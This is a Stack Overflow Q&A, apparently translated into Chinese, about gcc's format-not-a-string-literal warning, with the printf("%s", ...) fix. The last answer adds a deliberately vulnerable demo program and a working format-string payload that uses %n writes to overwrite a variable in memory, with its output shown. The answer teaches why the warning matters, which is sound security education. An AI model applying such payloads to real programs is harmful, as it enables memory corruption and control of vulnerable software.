2012-03-14 81 views
24

我正在尝试学习C并已经遇到了问题。我认为它微不足道,但我需要知道它。我已经写:c数组 - 警告:格式不是字符串文字

#include <stdio.h> 
#include <string.h> 

int main() 
{ 
    char str_a[20]; 

    strcpy(str_a, "Hello, world!\n"); 
    printf(str_a); 
} 

有一次,我尝试使用编译它:gcc的-g -o char_array2 char_array2.c我收到一个错误说:

char_array2.c: In function ‘main’: 
char_array2.c:9:2: warning: format not a string literal and no format arguments [-Wformat-security] 

谁能帮助吗?

+0

可能重复[警告:格式不是字符串文字和没有格式参数](http://stackoverflow.com/questions/4419293/warning-format-not-a-string-literal-and-no-format (参数) – 2015-12-10 01:05:43

回答

44

当用printf,格式字符串最好是一个字符串文字,而不是一个变量:

printf("%s", str_a); 
+0

更好还是需要?为什么? – 2015-12-10 01:05:09

4

该警告是由编译器想要printf的第一个参数为字符串文字引起的。它希望你这样写:

printf("%s\n", str_a); 

这是因为printf的第一个参数是格式字符串。之后,格式参数会被传递。

注意:您实际上可以使用变量作为格式字符串,但您可能不应这样做。这就是编译器发出警告而不是错误的原因。

1

printf()预计它的格式是字符串文字,而不是动态创建的字符串。要解决,试试这个:

printf("%s", str_a); // %s denotes a string 

或者使用puts

puts(str_a); 
+0

如果你将一个字符串字符串或一个指针传递给'printf()',它们都是一样的:在printf()甚至认为它会被调用之前,第一个被转换为一个指针。 'puts()'在输出中添加一个''\ n',并且原始字符串已经有一个。 – pmg 2012-03-14 18:09:36

+0

@pmg它不一样。使用'printf(“%s”,str)''你的参数可以使用va_arg格式化字符(%c,%i,%f)而没有未定义行为的风险。 – 2012-03-14 18:11:10

+0

我的意思是说你的'printf()'期望一个字符串文字的断言是错误的。另一方面,编译器通过在使用'printf()'时指出一个常见的错误是有帮助的。 – pmg 2012-03-14 18:24:52

1

请仔细阅读警告'没有格式参数' - 即字符串中没有%。

尝试printf("%s", str_a);

13

只需添加一些其他的答案,你最好这样做,因为(长?)很久以前的人写的printf这样的,黑客们发现了一种读取和写入堆栈,更here
例如,一个简单的程序是这样的:

[email protected]:~$ cat format_vul.c 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char *argv[]) 
{ 
    char text[1024]; 
    static int test_var = -1; 

    if(argc < 2) { 
     printf("Use: %s <input>\n", argv[0]); 
     exit(-1); 
    } 

    strcpy(text, argv[1]); 

    printf("The correct way:\n"); 
    printf("%s", text); 

    printf("\nThe wrong way:\n"); 
    printf(text); 

    printf("\n[*]: test_var @ %8p = %d (0x%x)\n", &test_var, test_var, test_var); 
} 
[email protected]:~$ ./format_vul AAAA 
The correct way: 
AAAA 
The wrong way: 
AAAA 
[*]: test_var @ 0x804a024 = -1 (0xffffffff) 

可用于从0XFFFFFF test_var的值更改为别的东西,像0xaabbccdd:

[email protected]:~$ ./format_vul $(printf "\x24\xa0\x04\x08JUNK\x2 
5\xa0\x04\x08JUNK\x26\xa0\x04\x08JUNK\x27\xa0\x04\x08").%8x.%8x.%8x.%8x.%8x. 
%8x.%8x.%8x.%8x.%110x.%n%239x%n%239x%n%239x%n 
The correct way: 
$�JUNK%�JUNK&�JUNK'�.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%110x.%n%239x%n%239 
x%n%239x%n 
The wrong way: 
$�JUNK%�JUNK&�JUNK'�.bfffefec. 154d7c. 155d7c. 155d7c.  f0.  f0.b 
ffff4a4.  4.  4.             
                174.     


               50415243      


               50415243      


               50415243 
[*]: test_var @ 0x804a024 = -1430532899 (0xaabbccdd) 
+1

感谢您的堆栈信息,有趣! – bigl 2012-03-14 18:23:46